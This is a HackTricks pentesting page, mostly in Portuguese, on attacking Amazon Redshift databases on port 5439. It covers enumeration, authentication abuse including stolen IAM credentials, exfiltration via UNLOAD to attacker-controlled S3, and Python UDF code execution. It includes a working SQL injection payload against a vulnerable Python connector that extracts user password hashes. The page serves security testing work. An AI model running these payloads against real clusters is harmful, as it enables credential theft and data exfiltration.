5439 - Pentesting Redshift
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Esta porta é usada pelo Amazon Redshift (data warehouse gerenciado pela AWS). O protocolo de transporte (wire protocol) do Redshift é uma versão levemente modificada do protocolo PostgreSQL, então a maioria das ferramentas client do Postgres funciona (psql, psycopg2, JDBC/ODBC), mas auth e requisitos de TLS diferem.
Para mais informações, confira:
AWS - Redshift Enum - HackTricks Cloud
Enumeração e Conectividade
- Porta padrão: 5439/TCP (personalizável). Serverless workgroups também defaultam para 5439.
- Padrão de endpoint público:
<clusterid>.<random>.<region>.redshift.amazonaws.com(público) ou.redshift.amazonaws.com.cn(China). Serverless:<workgroup>.<random>.<region>.redshift-serverless.amazonaws.com. - TLS: Redshift requer TLS 1.2+ e cifras com perfect-forward-secrecy. Clientes antigos podem falhar; force TLS moderno:
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"
# or using redshift-psql wrapper
- Parameter group
require_sslcontrola se plaintext é permitido. Novos clusters/workgroups usamdefault.redshift-2.0comrequire_ssl=true, então downgrade/mitm é mais difícil.
Enumeração rápida com psql
# basic banner/version
psql "host=<endpoint> user=<u> dbname=dev" -c 'select version();'
# list dbs, users, privileges
\l
\du
select * from pg_user;
select * from svv_redshift_sessions;
Erros distinguem senha incorreta vs usuário inexistente → potencial username enumeration durante brute force.
Authentication paths to test
- Senha do banco de dados para o usuário master (frequentemente chamado
awsuser) ou usuários DB criados. - IAM auth tokens: gere credenciais de curta duração e conecte via libpq/JDBC/ODBC usando
sslmode=requireeauthMech=IAMouplugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider. Abuse credenciais/roles IAM roubadas com permissão equivalente no estilords-db:connectpara Redshift.
aws redshift get-cluster-credentials --cluster-identifier <id> \
--db-user pentest --db-name dev --duration-seconds 900
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
- IAM Identity Center / SAML / Azure AD plugins: o JDBC
plugin_namepode iniciar um servidor web local para SSO; o callback de loopback capturado pode leak SAML assertion ou temp creds.
Common misconfigurations (network)
- Cluster marcado PubliclyAccessible=true com SG amplamente aberto (0.0.0.0/0) expõe superfície tipo Postgres para brute force ou exploração por SQLi.
- Porta padrão 5439 mais SG padrão permitem descoberta fácil (Shodan/Censys). Mudar a porta é uma obscuridade menor, mas às vezes é negligenciada em checklists de hardening.
- No enhanced VPC routing → COPY/UNLOAD trafegam pela Internet pública; podem ser abusados para exfil quando o atacante controla o bucket/endpoint S3.
Attack notes
- Se o login for bem-sucedido, Redshift lacks superuser em serverless; em provisioned clusters o usuário master tem amplos direitos incluindo criar UDFs (Python), schema externo para Spectrum, COPY de um S3 controlado pelo atacante, e
UNLOADpara exfil dados. - Verifique o cluster parameter group para
max_concurrency_scaling_clusters,require_ssl,enable_user_activity_logging– se logging estiver desativado facilita a furtividade. - Serverless workgroups ainda acessíveis via TCP; mesma superfície de ataque SQL que clusters provisioned.
- Client-side metadata SQLi (Dec 2024): JDBC 2.1.0.31, Python connector 2.1.4 and ODBC 2.1.5.0 constroem queries de metadata com entrada de usuário não entre aspas em
getSchemas/getTables/getColumns(CVE-2024-12744/5/6). Se uma app permitir que atacantes controlem os argumentos catalog ou pattern, é possível injetar SQL arbitrário que roda com o DB user usado pelo connector.
# exploit vulnerable python connector 2.1.4 via metadata API
import redshift_connector
conn = redshift_connector.connect(host='<endpoint>', database='dev', user='lowpriv', password='pw')
cur = conn.cursor()
# injection in table_pattern leaks data from pg_tables
cur.get_tables(table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--")
- UDF execution model change: Python UDFs deixam de funcionar em 30 de junho de 2026; somente Lambda UDFs serão permitidas depois. Impacto ofensivo: legacy provisioned clusters ainda executam Python UDFs para execução de código in-cluster (sem FS/network). Lambda UDFs movem o código para Lambda onde a IAM role pode alcançar endpoints Internet/VPC para SSRF/pivot mas sem acesso direto ao filesystem do cluster. Caçar clusters antigos com Python UDFs habilitadas ainda pode fornecer primitivos de RCE.
Recent security changes (offense impact)
- Public access disabled by default on new clusters/snapshots (Jan 10, 2025 change). Legacy ones may still be public.
- Encryption at rest + enforced TLS by default means sniffing/mitm harder; need valid credentials or SSRF into VPC path.
- Serverless VPCE rollout change (Jun 27, 2025): workgroup endpoints created in up to 3 AZs at creation time. Discovery tools should enumerate all workgroup VPCE DNS names per AZ to find reachable IPs.
References
- AWS Security Bulletin – SQLi in Redshift JDBC/Python/ODBC drivers (CVE-2024-12744/5/6)
- AWS Big Data Blog – Python UDF end-of-support and migration to Lambda UDFs (Jan 2026)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


